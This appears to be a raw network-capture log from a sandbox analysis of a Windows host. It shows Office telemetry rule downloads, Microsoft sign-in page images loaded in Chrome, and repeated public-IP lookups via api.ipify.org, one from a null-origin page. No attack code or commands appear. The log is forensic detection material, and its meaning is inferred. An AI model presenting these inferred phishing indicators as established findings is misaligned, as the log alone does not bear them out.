22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49765	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:09 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:09 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:09 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: c04d3aa5-c01e-002b-4b56-236e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190409Z-17fbfdc98bbq2x5bzrteug30v8000000066g000000003km5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:09 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	49764	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:09 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-23 19:04:09 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=78092 Date: Wed, 23 Oct 2024 19:04:09 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-23 19:04:09 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	49766	104.26.12.205	443	3492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:09 UTC	542	OUT	GET /?format=json HTTP/1.1 Host: api.ipify.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-23 19:04:09 UTC	249	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:09 GMT Content-Type: application/json Content-Length: 23 Connection: close Access-Control-Allow-Origin: * Vary: Origin cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 8d73fdc31b49468a-DFW
2024-10-23 19:04:09 UTC	23	IN	Data Raw: 7b 22 69 70 22 3a 22 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 22 7d Data Ascii: {"ip":"173.254.250.90"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	49767	13.107.246.45	443	3492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:09 UTC	438	OUT	GET /shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-23 19:04:09 UTC	800	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:09 GMT Content-Type: image/svg+xml Content-Length: 2407 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:49 GMT ETag: 0x8DB5C3F499A9B99 x-ms-request-id: 46ed0eab-901e-0037-7d52-222e57000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241023T190409Z-15b8d89586fvk4kmwqg9fgbkn8000000024000000000nez2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:09 UTC	2407	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed 59 3d 73 dd 38 12 cc af ea fe 03 eb 6d 72 17 88 02 66 f0 79 b5 ba e0 98 38 a0 52 05 ca ec 95 6c ab 4e 6b bb 6c af b5 3f ff ba 07 e0 7b 24 94 6c 7c 65 27 7a 4d 02 33 c3 c1 a0 a7 01 ff fa ed c7 87 e9 e5 e9 e1 fb c7 9b 53 28 a7 e9 e3 e3 d3 87 8f df db ef 1f 4f 8f 2f ff f9 fc e7 cd c9 4d 6e 0a 65 e2 b3 f7 4f cf cf 37 a7 4f 9f 3f 3d 9e a6 3f 7f 7f fe f4 ed e6 f4 f1 fb f7 2f ff ba be 7e 79 79 99 5f 74 fe fc f5 c3 b5 38 e7 ae 61 f8 f4 ef bf ff ed d7 df df 7e fb ef f4 f4 00 2b f9 9d 24 a7 e1 2a a6 b7 7a 15 ea 83 5c 95 f7 92 ae 7e cb ef 4a 78 7c 17 1e 1f 1f c2 e6 e0 97 f7 f6 cf 0c 7c 79 fb fd a3 3d be fa fa c7 f3 e3 cd e9 f1 c7 e3 a7 cf 0f 0f a7 e9 b7 e7 a7 2f e3 33 f8 b9 15 9d 6b 4e 32 b9 c5 a7 b9 48 08 08 df 3b 3c 73 79 8a b3 04 Data Ascii: Y=s8mrfy8RlNkl?{$l\|e'zM3S(O/MneO7O?=?/~yy_t8a~+$*z\~Jx\|\|y=/3kN2H;<sy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	49768	13.107.246.45	443	3492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:09 UTC	402	OUT	GET /ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-23 19:04:10 UTC	737	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:10 GMT Content-Type: image/x-icon Content-Length: 17174 Connection: close Cache-Control: public, max-age=604800 Last-Modified: Fri, 02 Nov 2018 20:25:25 GMT ETag: 0x8D6410152A9D7E1 x-ms-request-id: 29938c76-101e-0058-3a7e-251b09000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241023T190409Z-r197bdfb6b4kzncf21qcaynxz800000000ug00000000acbk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-23 19:04:10 UTC	15647	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-10-23 19:04:10 UTC	1527	IN	Data Raw: 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 Data Ascii: @{L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49769	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:09 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:09 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:09 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 9e0e1983-701e-003e-2856-2379b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190409Z-17fbfdc98bb7k7m5sdc8baghes00000006a0000000001e2t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:09 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49771	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:09 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:09 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:09 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 064568ba-501e-008c-7d65-23cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190409Z-17fbfdc98bbnhb2b0umpa641c80000000610000000008rte x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:09 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49770	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:09 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:09 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:09 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 1f9c3bb8-d01e-0014-220b-22ed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190409Z-r1755647c66prnf6k99z0m3kzc00000008r0000000002t02 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:09 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49772	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:09 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:10 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:09 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 5cd52618-301e-0033-5865-23fa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190409Z-17fbfdc98bb94gkbvedtsa5ef4000000069g000000002bm8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:10 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49773	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:09 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:10 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:10 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: ee1aea59-301e-0052-0750-2365d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190410Z-17fbfdc98bb94gkbvedtsa5ef4000000064g0000000092va x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:10 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	49774	172.67.74.152	443	3492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:10 UTC	349	OUT	GET /?format=json HTTP/1.1 Host: api.ipify.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-23 19:04:10 UTC	217	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:10 GMT Content-Type: application/json Content-Length: 23 Connection: close Vary: Origin cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 8d73fdc82f366c81-DFW
2024-10-23 19:04:10 UTC	23	IN	Data Raw: 7b 22 69 70 22 3a 22 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 22 7d Data Ascii: {"ip":"173.254.250.90"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49775	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:10 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:10 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:10 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: ad3e5457-301e-0099-155a-236683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190410Z-17fbfdc98bbvcvlzx1n0fduhm000000006a00000000045p6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:10 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49776	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:10 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
